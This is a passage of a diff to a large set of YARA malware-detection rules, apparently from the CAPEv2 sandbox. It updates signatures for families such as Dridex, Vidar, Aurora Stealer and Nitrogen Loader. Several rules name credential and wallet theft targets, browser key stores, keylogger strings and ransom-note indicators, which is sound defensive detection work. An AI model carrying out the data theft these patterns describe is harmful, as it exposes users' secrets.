strings: - $code = {8D 45 ?? C6 45 ?? 00 0F 43 4D ?? 83 7D ?? 10 0F 43 45 ?? 8A 04 10 32 04 39 8D 4D ?? 0F B6 C0 50 6A 01 E8 [4] C6 45} - $decode = {F7 75 ?? 83 7D ?? 10 8D 4D ?? 8D 45 ?? C6 45 ?? 00 0F 43 4D ?? 83 7D ?? 10 0F 43 45 ?? 8A 04 10 32 04 39} + $a1 = "CHKDSK is repairing sector" + $a2 = "wowsmith123456@posteo.net" + $a3 = "1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX" wide condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) } -rule CAPE_Seduploader : FILE +rule CAPE_Azer : FILE { meta: - description = "Seduploader decrypt function" + description = "Azer Payload" author = "kevoreilly" - id = "a7152d8c-a197-5784-8a6d-453d41585df1" + id = "4bda70c2-3cd9-543f-92f4-886b7dd899a1" date = "2019-10-30" - modified = "2022-06-09" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Seduploader.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "d70c886699169d4dafc5b063c93682a34af5667df6d293b52256ddc19ab9c516" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Azer.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "48bd4a4e071f10d1911c4173a0cd39c69fed7a3b29eb92beffe709899f4cefa5" score = 75 quality = 70 tags = "FILE" - cape_type = "Seduploader Payload" + cape_type = "Azer Payload" strings: - $decrypt1 = {8D 0C 30 C7 45 FC 0A 00 00 00 33 D2 F7 75 FC 8A 82 ?? ?? ?? ?? 32 04 0F 88 01 8B 45 0C 40 89 45 0C 3B C3 7C DB} + $a1 = "webmafia@asia.com" wide + $a2 = "INTERESTING_INFORMACION_FOR_DECRYPT.TXT" wide + $a3 = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQ" condition: - uint16( 0 ) == 0x5A4D and any of ( $decrypt* ) + uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) } rule CAPE_Dridexv4 : FILE { @@ -64456,8 +64070,8 @@ rule CAPE_Dridexv4 : FILE date = "2019-10-30" modified = "2022-05-31" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/DridexV4.yar#L1-L15" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/DridexV4.yar#L1-L15" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" logic_hash = "cb103fe5f2d4792e3c612db4e2d84a4c8b0ce0f9a8443e9147e2c345f1dbdff6" score = 75 quality = 70 @@ -64474,1026 +64088,1252 @@ rule CAPE_Dridexv4 : FILE condition: uint16( 0 ) == 0x5A4D and any of them } -rule CAPE_Smokeloader +rule CAPE_Dreambot : FILE { meta: - description = "SmokeLoader Payload" + description = "Dreambot Payload" author = "kevoreilly" - id = "33c11a73-30d5-507b-af12-14708fa96640" + id = "675c2fea-fe48-5afd-9fa1-de919134892f" date = "2019-10-30" - modified = "2025-11-19" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/SmokeLoader.yar#L1-L16" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "8e2f95af9b25ccfd8ad7b56f75a37bb085bde1b2feda2e6502568e86c928ed68" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Dreambot.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "29c6d648d5d38667c5824c2d20a83a20448c2ae6054ddddb2b2b7f8bdb69f74b" score = 75 quality = 70 - tags = "" - cape_type = "SmokeLoader Payload" + tags = "FILE" + cape_type = "Dreambot Payload" strings: - $rc4_decrypt64_1 = {41 8D 41 01 44 0F B6 C8 42 0F B6 [2] 41 8D 04 12 44 0F B6 D0 42 8A [2] 42 88 [2] 42 88 [2] 42 0F B6 [2] 03 CA 0F B6 C1 8A [2] 30 0F 48 FF C7 49 FF CB 75} - $rc4_decrypt64_2 = {03 C8 8B C1 89 44 [2] 0F B6 8C [2] 01 00 00 33 D2 8B 04 24 F7 F1 8B C2 8B C0 48 8B 8C [2] 01 00 00 0F B6 04 01 8B 4C [2] 03 C8 8B C1 25 FF 00 00 00} - $rc4_decrypt64_3 = {8B 04 ?? FF C0 25 FF 00 00 00 89 04 ?? 8B 04 ?? 0F B6 44 [2] 8B 4C [2] 03 C8 8B C1 25 FF 00 00 00} - $rc4_decrypt32 = {47 B9 FF 00 00 00 23 F9 8A 54 [2] 0F B6 C2 03 F0 23 F1 8A 44 [2] 88 44 [2] 88 54 [2] 0F B6 4C [2] 0F B6 C2 03 C8 81 E1 FF 00 00 00 8A 44 [2] 30 04 2B 43 3B 9C 24 [4] 72 C0} - $fetch_c2_64 = {74 ?? B? E8 03 00 00 B9 58 02 00 00 FF [5] 48 (FF C?|83 EF 01) 75 (F0|EF)} - $fetch_c2_32 = {8B 96 [2] (00|01) 00 8B CE 5E 8B 14 95 [4] E9} + $a1 = {53 56 33 F6 33 DB C1 6C 24 0C 02 74 2F 8B 02 85 C0 75 11 83 7C 24 0C 02 76 0A 39 42 04 75 05 39 42 08 74 18 43 8A CB D3 C0 33 C6 33 44 24 10 8B F0 89 32 83 C2 04 FF 4C 24 0C 75 D1 5E 5B C2 08 00} + $a2 = {53 33 C9 33 DB C1 6C 24 08 02 74 22 56 8B 02 85 C0 8B F0 74 18 33 C1 33 44 24 10 43 8A CB D3 C8 8B CE 89 02 83 C2 04 FF 4C 24 0C 75 E0 5E 5B C2 08 00} + $b1 = "Oct 5 2016" + $b2 = ".bss" condition: - 2 of them + uint16( 0 ) == 0x5A4D and ( 1 of ( $a* ) ) and ( all of ( $b* ) ) } -rule CAPE_Rozena +rule CAPE_Tscookie : FILE { meta: - description = "No description has been set in the source file - CAPE" - author = "Kevin O'Reilly" - id = "38ca9da3-2a0e-500f-8eb8-9de69a7f2da5" - date = "2024-03-13" - modified = "2024-03-15" + description = "TSCookie Payload" + author = "kevoreilly" + id = "e1efd356-7170-5454-bf40-68927c71816c" + date = "2019-10-30" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Rozena.yar#L1-L10" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "c415a8108b58a125a604031bb8d73b58a8aae5429b5b765e35fa8a4add9cd135" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/TSCookie.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "0461c7fd14c74646437654f0a63a4a89d4efad620e197a8ca1e8d390618842c3" score = 75 quality = 70 - tags = "" - cape_type = "Rozena Payload" + tags = "FILE" + cape_type = "TSCookie Payload" strings: - $ip_port = {FF D5 6A 0A 68 [4] 68 [4] 89 E6 50 50 50 50 40 50 40 50 68 [4] FF D5} - $socket = {6A 00 6A 04 56 57 68 [4] FF D5 [0-5] 8B 36 6A 40 68 00 10 00 00 56 6A 00 68} + $string1 = "http://%s:%d" wide + $string2 = "/Default.aspx" wide + $string3 = "\\wship6" condition: - all of them + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Varenyky : FILE +rule CAPE_Carbanak : FILE { meta: - description = "Varenyky Payload" - author = "kevoreilly" - id = "e01695fa-72a0-5d8e-86ab-8c909d28b8ec" - date = "2019-10-30" - modified = "2019-10-30" + description = "Carnbanak Payload" + author = "enzok" + id = "e6d395d5-65ba-5efb-bcbc-c6d56a96f0c1" + date = "2023-11-30" + modified = "2024-03-18" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Varenyky.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "602f1b8b60b29565eabe2171fde4eb58546af68f8acecad402a7a51ea9a08ed9" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Carbanak.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "c9c1b06cb9c9bd6fc4451f5e2847a1f9524bb2870d7bb6f0ee09b9dd4e3e4c84" + logic_hash = "8ed5ab07f1635dc7cdf296e86a71a0a99d0b2faef8fc460f43d426b24b8c8367" score = 75 quality = 70 tags = "FILE" - cape_type = "Varenyky Payload" + cape_type = "Carbanak Payload" strings: - $onion = "jg4rli4xoagvvmw47fr2bnnfu7t2epj6owrgyoee7daoh4gxvbt3bhyd.onion" + $sboxinit = {0F BE 02 4? 8D 05 [-] 4? 8D 4D ?? E8 [3] 00 33 F6 4? 8D 5D ?? 4? 63 F8 8B 45 ?? B? B1 E3 14 06} + $decode_string = {0F BE 03 FF C9 83 F8 20 7D ?? B? 1F [3] 4? 8D 4A E2 EB ?? 3D 80 [3] 7D ?? B? 7F [3] 4? 8D 4A A1 EB ?? B? FF [3] 4? 8D 4A 81} + $constants = {0F B7 05 [3] 00 0F B7 1D [3] 00 83 25 [3] 00 00 89 05 [3] 00 0F B7 05 [3] 00 89 1D [3] 00 89 05 [3] 00 33 C0 4? 8D 4D} condition: - uint16( 0 ) == 0x5A4D and ( $onion ) + uint16( 0 ) == 0x5A4D and 2 of them } -rule CAPE_Vipkeylogger : FILE +rule CAPE_Chaosbot : FILE { meta: - description = "Detects VIPKeyLogger Keylogger" + description = "No description has been set in the source file - CAPE" + author = "YungBinary" + id = "3c8ce71c-2a92-5ca9-9b33-c7059d47f4ca" + date = "2025-10-16" + modified = "2025-10-16" + reference = "https://x.com/YungBinary/status/1976580501508182269" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/ChaosBot.yar#L1-L24" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "fcb04697dbef62497421318d5dfe7cdf5533b432975ebbfb3bd64ebbfeb4a592" + score = 75 + quality = 62 + tags = "FILE" + cape_type = "ChaosBot Payload" + + strings: + $s1 = { 48 6f 73 74 20 20 63 6f 6e 6e 65 63 74 65 64 2c 20 63 68 61 6e 6e 65 6c 20 63 72 65 61 74 65 64 3a 20 3c } + $s2 = { 73 68 65 6c 6c 20 64 6f 77 6e 6c 6f 61 64 20 63 64 20 46 61 69 6c 65 64 20 74 6f 20 63 68 61 6e 67 65 20 64 69 72 65 63 74 6f 72 79 3a } + $s3 = { 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 41 6d 73 69 53 63 61 6e 42 75 66 66 65 72 45 74 77 45 76 65 6e 74 57 72 69 74 65 43 4f 4d 50 55 54 45 52 4e 41 4d 45 } + $s4 = { 43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6d 65 73 73 61 67 65 5f 2e 74 78 74 } + $bypass = { + 74 ?? + 66 C7 03 31 C0 + C6 43 02 C3 + } + $antivm = { + 48 ?? 30 30 3A 30 43 3A 32 39 + 49 39 ?? 00 + } + + condition: + uint16( 0 ) == 0x5a4d and ( 1 of ( $s* ) or ( $antivm and $bypass ) ) +} +rule CAPE_Dridexloader_1 : FILE +{ + meta: + description = "Dridex v4 dropper C2 parsing function" author = "kevoreilly" - id = "71606fcc-89b4-519a-833a-b6cb4b569cb8" - date = "2025-09-11" - modified = "2025-09-11" + id = "43bd9631-4611-567c-bee5-d926e060b977" + date = "2019-11-12" + modified = "2021-03-10" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/VIPKeyLogger.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "b9dba7562bba4807c0789692d44650996e62c8d0c4031dedd65773877621b1de" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/DridexLoader.yar#L1-L17" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "20696b1f14539c8ecf21bffc696596040c20b1ee2fcedc173945482c0baca588" score = 75 quality = 70 tags = "FILE" - cape_type = "VIPKeyLogger Payload" - packed = "edaba79c3d43a416a86003f336d879ed3a513aa24dd401340584615647ed6da2" + cape_type = "DridexLoader Payload" strings: - $s1 = "/ VIP Recovery \\" wide - $s2 = "Clipboard Logs ID" wide - $s3 = "Keylogger" wide + $c2parse_1 = {57 0F 95 C0 89 35 [4] 88 46 04 33 FF 80 3D [4] 00 76 54 8B 04 FD [4] 8D 4D EC 83 65 F4 00 89 45 EC 66 8B 04 FD [4] 66 89 45 F0 8D 45 F8 50} + $c2parse_2 = {89 45 00 0F B7 53 04 89 10 0F B6 4B 0C 83 F9 0A 7F 03 8A 53 0C 0F B6 53 0C 85 D2 7E B7 8D 74 24 0C C7 44 24 08 00 00 00 00 8D 04 7F 8D 8C 00} + $c2parse_3 = {89 08 66 39 1D [4] A1 [4] 0F 95 C1 88 48 04 80 3D [4] 0A 77 05 A0 [4] 80 3D [4] 00 56 8B F3 76 4E 66 8B 04 F5} + $c2parse_4 = {0F B7 C0 89 01 A0 [4] 3C 0A 77 ?? A0 [4] A0 [4] 57 33 FF 84 C0 74 ?? 56 BE} + $c2parse_5 = {0F B7 05 [4] 89 02 89 15 [4] 0F B6 15 [4] 83 FA 0A 7F 07 0F B6 05 [4] 0F B6 05 [4] 85 C0} + $c2parse_6 = {0F B7 53 ?? 89 10 0F B6 4B ?? 83 F9 0A 7F 03 8A 53 ?? 0F B6 53 ?? 85 D2 7E B9} condition: - uint16( 0 ) == 0x5a4d and all of them + uint16( 0 ) == 0x5A4D and any of them } -rule CAPE_Vidar : FILE +rule CAPE_Aurorastealer : FILE { meta: - description = "Vidar Payload" - author = "kevoreilly,rony" - id = "9e4e797f-880e-54eb-ad44-caad0ec5683c" - date = "2019-10-30" - modified = "2023-04-21" + description = "detects Aurora Stealer samples" + author = "Johannes Bader @viql" + id = "07779318-3e5d-5e67-8c04-f3f70d7e48b7" + date = "2022-12-14" + modified = "2023-03-31" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Vidar.yar#L1-L22" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "5d4c030536ed41cf4e0dcb77b2fe4553d789ee2b8095a4b3e050692335a8709d" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AuroraStealer.yar#L1-L74" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "0d10e9268184f494a73d5b4ab0d9a478ad0c26d2ef13d5134f8c9769f028b8f5" score = 75 - quality = 70 + quality = 45 tags = "FILE" - cape_type = "Vidar Payload" - packed = "0cff8404e73906f3a4932e145bf57fae7a0e66a7d7952416161a5d9bb9752fd8" + version = "v1.0" + tlp = "TLP:WHITE" + malpedia_family = "win.aurora_stealer" + hash1_md5 = "51c153501e991f6ce4901e6d9578d0c8" + hash1_sha1 = "3816f17052b28603855bde3e57db77a8455bdea4" + hash1_sha256 = "c148c449e1f6c4c53a7278090453d935d1ab71c3e8b69511f98993b6057f612d" + hash2_md5 = "65692e1d5b98225dbfb1b6b2b8935689" + hash2_sha1 = "0b51765c175954c9e47c39309e020bcb0f90b783" + hash2_sha256 = "5a42aa4fc8180c7489ce54d7a43f19d49136bd15ed7decf81f6e9e638bdaee2b" + cape_type = "AuroraStealer Payload" strings: - $decode = {FF 75 0C 8D 34 1F FF 15 ?? ?? ?? ?? 8B C8 33 D2 8B C7 F7 F1 8B 45 0C 8B 4D 08 8A 04 02 32 04 31 47 88 06 3B 7D 10 72 D8} - $xor_dec = {0F B6 [0-5] C1 E? ?? 33 ?? 81 E? [0-5] 89 ?? 7C AF 06} - $wallet = "*wallet*.dat" fullword ascii wide - $s1 = "\"os_crypt\":{\"encrypted_key\":\"" fullword ascii wide - $s2 = "screenshot.jpg" fullword ascii wide - $s3 = "\\Local State" fullword ascii wide - $s4 = "Content-Disposition: form-data; name=\"" fullword ascii wide - $s5 = "CC\\%s_%s.txt" fullword ascii wide - $s6 = "History\\%s_%s.txt" fullword ascii wide - $s7 = "Autofill\\%s_%s.txt" fullword ascii wide - $s8 = "Downloads\\%s_%s.txt" fullword ascii wide + $str_func_01 = "main.(*DATA_BLOB).ToByteArray" + $str_func_02 = "main.Base64Encode" + $str_func_03 = "main.Capture" + $str_func_04 = "main.CaptureRect" + $str_func_05 = "main.ConnectToServer" + $str_func_06 = "main.CreateImage" + $str_func_07 = "main.FileExsist" + $str_func_08 = "main.GetDisplayBounds" + $str_func_09 = "main.GetInfoUser" + $str_func_10 = "main.GetOS" + $str_func_11 = "main.Grab" + $str_func_12 = "main.MachineID" + $str_func_13 = "main.NewBlob" + $str_func_14 = "main.NumActiveDisplays" + $str_func_15 = "main.PathTrans" + $str_func_16 = "main.SendToServer_NEW" + $str_func_17 = "main.SetUsermame" + $str_func_18 = "main.Zip" + $str_func_19 = "main.base64Decode" + $str_func_20 = "main.countupMonitorCallback" + $str_func_21 = "main.enumDisplayMonitors" + $str_func_22 = "main.getCPU" + $str_func_23 = "main.getDesktopWindow" + $str_func_24 = "main.getGPU" + $str_func_25 = "main.getMasterKey" + $str_func_26 = "main.getMonitorBoundsCallback" + $str_func_27 = "main.getMonitorRealSize" + $str_func_28 = "main.sysTotalMemory" + $str_func_29 = "main.xDecrypt" + $str_type_01 = "type..eq.main.Browser_G" + $str_type_02 = "type..eq.main.STRUSER" + $str_type_03 = "type..eq.main.Telegram_G" + $str_type_04 = "type..eq.main.Crypto_G" + $str_type_05 = "type..eq.main.ScreenShot_G" + $str_type_06 = "type..eq.main.FileGrabber_G" + $str_type_07 = "type..eq.main.FTP_G" + $str_type_08 = "type..eq.main.Steam_G" + $str_type_09 = "type..eq.main.DATA_BLOB" + $str_type_10 = "type..eq.main.Grabber" + $varia_01 = "\\User Data\\Local State" + $varia_02 = "\\\\Opera Stable\\\\Local State" + $varia_03 = "Reconnect 1" + $varia_04 = "@ftmone" + $varia_05 = "^user^" + $varia_06 = "wmic path win32_VideoController get name" + $varia_07 = "\\AppData\\Roaming\\Telegram Desktop\\tdata" + $varia_08 = "C:\\Windows.old\\Users\\" + $varia_09 = "ScreenShot" + $varia_10 = "Crypto" condition: - uint16be( 0 ) == 0x4d5a and 6 of them + uint16( 0 ) == 0x5A4D and ( 32 of ( $str_* ) or 9 of ( $varia_* ) ) } -rule CAPE_Azer : FILE +rule CAPE_Nitrobunnydownloader : FILE { meta: - description = "Azer Payload" - author = "kevoreilly" - id = "4bda70c2-3cd9-543f-92f4-886b7dd899a1" - date = "2019-10-30" - modified = "2019-10-30" + description = "NitroBunnyDownloader" + author = "enzok" + id = "64faa91a-4847-57bd-ab71-27029f6074ac" + date = "2025-10-28" + modified = "2025-11-05" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Azer.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "48bd4a4e071f10d1911c4173a0cd39c69fed7a3b29eb92beffe709899f4cefa5" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/NitroBunnyDownloader.yar#L1-L18" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "960e59200ec0a4b5fb3b44e6da763f5fec4092997975140797d4eec491de411b" + logic_hash = "dcc1348c1d1af0c854376cf6331538951362b43d8d76c0ad73bbbdeb1ab4c135" score = 75 quality = 70 tags = "FILE" - cape_type = "Azer Payload" + cape_type = "NitroBunnyDownloader Payload" strings: - $a1 = "webmafia@asia.com" wide - $a2 = "INTERESTING_INFORMACION_FOR_DECRYPT.TXT" wide - $a3 = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQ" + $config1 = {E8 [3] 00 41 B8 ?? ?? 00 00 48 8D 15 [3] 00 48 89 C1 48 89 ?? E8 [3] 00} + $config2 = {E8 [3] 00 48 8D 15 [3] 00 41 B8 ?? ?? 00 00 48 89 C1 48 89 ?? E8 [3] 00} + $string1 = "X-Amz-User-Agent:" wide + $string2 = "Amz-Security-Flag:" wide + $string3 = "/cart" wide + $string4 = "Cookie: " wide + $string5 = "wishlist" wide condition: - uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) + uint16( 0 ) == 0x5A4D and 1 of ( $config* ) and 2 of ( $string* ) } -rule CAPE_Eternalromance : FILE +rule CAPE_Ramnit : FILE { meta: - description = "EternalRomance Exploit" + description = "Ramnit Payload" author = "kevoreilly" - id = "34035076-9dda-5e32-bd0b-d0257a96329b" + id = "6df92055-05f6-5985-9268-b9c85e143567" date = "2019-10-30" - modified = "2022-06-09" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/EternalRomance.yar#L1-L33" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "5390fae3e2411a715cdc965df8648c0c4c511d53d5f76031714f1b784b58eb0d" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Ramnit.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "6f661f47bdf8377b0fb96f190fcb964c0ed2b43ce7ae7880f9dfce9e43837efd" score = 75 - quality = 68 + quality = 70 tags = "FILE" - cape_type = "EternalRomance Exploit" + cape_type = "Ramnit Payload" strings: - $SMB1 = "Frag" - $SMB2 = "Free" - $session7_32_1 = {2A 02 1C 00} - $session7_64_1 = {2A 02 28 00} - $session8_32_1 = {2A 02 24 00} - $session8_64_1 = {2A 02 38 00} - $session7_32_2 = {D5 FD E3 FF} - $session7_64_2 = {D5 FD D7 FF} - $session8_32_2 = {D5 FD DB FF} - $session8_64_2 = {D5 FD C7 FF} - $ipc = "IPC$" - $pipe1 = "atsvc" - $pipe2 = "browser" - $pipe3 = "eventlog" - $pipe4 = "lsarpc" - $pipe5 = "netlogon" - $pipe6 = "ntsvcs" - $pipe7 = "spoolss" - $pipe8 = "samr" - $pipe9 = "srvsvc" - $pipe10 = "scerpc" - $pipe11 = "svcctl" - $pipe12 = "wkssvc" + $DGA = {33 D2 B9 1D F3 01 00 F7 F1 8B C8 B8 A7 41 00 00 F7 E2 8B D1 8B C8 B8 14 0B 00 00 F7 E2 2B C8 33 D2 8B C1 8B} + $xor_loop = {83 7D 0C 00 74 27 83 7D 14 00 74 21 8B 4D 0C 8B 7D 08 8B 75 10 BA 00 00 00 00 0B D2 75 04 8B 55 14 4A 8A 1C 32 32 1F 88 1F 47 4A E2 ED} + $id_string = "{%08X-%04X-%04X-%04X-%08X%04X}" condition: - uint16( 0 ) == 0x5A4D and ( all of ( $SMB* ) ) and $ipc and ( any of ( $session* ) ) and ( any of ( $pipe* ) ) + uint16( 0 ) == 0x5A4D and all of ( $* ) } - -rule CAPE_Nighthawk +rule CAPE_Nitrogenloader { meta: - description = "NightHawk C2" - author = "Nikhil Ashok Hegde <@ka1do9>" - id = "096b9d13-6aa7-5b6e-aaeb-e25aa7c8c53f" - date = "2022-12-03" - modified = "2022-12-05" + description = "Nitrogen Loader" + author = "enzok" + id = "450dc039-c5d5-5d81-945c-def94671825f" + date = "2024-10-29" + modified = "2025-07-28" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Nighthawk.yar#L3-L24" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "2d77912678e06503ffef0e8ed84aa4f9ac74357480d57742fbae619acebfb5f2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/NitrogenLoader.yar#L1-L35" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "4aab353aacc8f6910884e722f2d57439891680963accb906c2cee245437732c6" score = 75 - quality = 70 + quality = 68 tags = "" - cape_type = "Nighthawk Payload" + cape_type = "NitrogenLoader Loader" + hash1 = "7b603d63a23201ff0b6ffa9acdd650df9caa1731837d559d93b3d8ce1d82a962" + hash2 = "50c2afd792bfe2966133ee385054eaae1f73b04e013ef3434ef2407f99d7f037" + hash3 = "4926dee7da0da522c34ffeebb32f28703fd689a52543332c8d28ccfea223f43a" strings: - $keying_methods = { 85 C9 74 43 83 E9 01 74 1C 83 F9 01 0F 85 } - $aes_sbox = { 63 7C 77 7B F2 6B 6F C5 30 } - $aes_inv_sbox = { 52 09 6A D5 30 36 A5 38 BF } + $stringaes1 = {63 7c 77 7b f2 6b 6f c5 30 01 67 2b fe d7 ab 76 ca 82 c9 7d fa} + $stringaes2 = {52 09 6a d5 30 36 a5 38 bf 40 a3 9e 81 f3 d7 fb 7c e3 39 82 9b} + $string1 = "GetComputerNameExA" + $string2 = "LoadResource" + $syscallmakehashes = {48 89 4C 24 ?? 48 89 54 24 ?? 4? 89 44 24 ?? 4? 89 4C 24 ?? 4? 83 EC ?? B? [4] E8 [3] 00} + $syscallnumber = {49 89 C3 B? [4] E8 [3] 00} + $syscall = {48 83 C4 ?? 4? 8B 4C 24 ?? 4? 8B 54 24 ?? 4? 8B 44 24 ?? 4? 8B 4C 24 ?? 4? 89 CA 4? FF E3} + $decryptstr1 = {33 D2 48 8B 04 24 B? 0C 00 00 00 48 F7 F1 48 8B C2 48 C1 E0 02 0F B6 C8 48 8B 44 24 ?? 48 D3 E8 48 25 AB 00 00 00} + $decryptrsc1 = {48 63 4? 24 ?? 33 D2 48 [0-3] F7 B4 24 [4] 48 8B C2 48 8B 8C 24 [4] 0F BE 04 01} + $decryptrsc2 = {8B ?? 24 [1-4] 33 C8 8B C1 48 63 4C 24 ?? 48 8B 94 24 [4] 88 04 0A} + $decryptrsc3 = {8B 8C 24 ?? ?? ?? ?? 2B C8 8B C1 48 63 4C 24 ?? 48 8B 94 24 [4] 88 04 0A} + $decryptstrs = {33 D2 48 8B 04 24 B9 0C 00 00 00 48 F7 F1 48 8B C2 48 C1 E0 02 0F B6 C8 48 8B 44 24 ?? 48 D3 E8 48 25 AB 00 00 00} + $taskman_1 = {E8 [4] B9 61 00 00 00 88 84 24 [4] E8 [4] B9 73 00 00 00 88 84 24 [4] E8 [4] B9 6B 00 00 00 88 84 24 [4] E8 [3] FF} + $taskman_2 = {B9 4D 00 00 00 88 84 24 [4] E8 [4] B9 61 00 00 00 88 84 24 [4] E8 [4] B9 6E 00 00 00 88 84 24 [4] E8 [3] FF} + $taskman_3 = {B9 61 00 00 00 88 84 24 [4] E8 [4] B9 67 00 00 00 88 84 24 [4] E8 [4] B9 65 00 00 00 88 84 24 [4] E8 [3] FF} + $taskman_4 = {B9 72 00 00 00 88 84 24 [4] E8 [4] 31 C9 88 84 24 [4] E8 [3] FF} + $installers_1 = {B9 49 00 00 00 E8 [4] B9 6E 00 00 00 88 84 24 [4] E8 [4] B9 73 00 00 00 88 84 24 [4] E8 [3] FF} + $installers_2 = {B9 74 00 00 00 88 84 24 [4] E8 [4] B9 61 00 00 00 88 84 24 [4] E8 [4] B9 6C 00 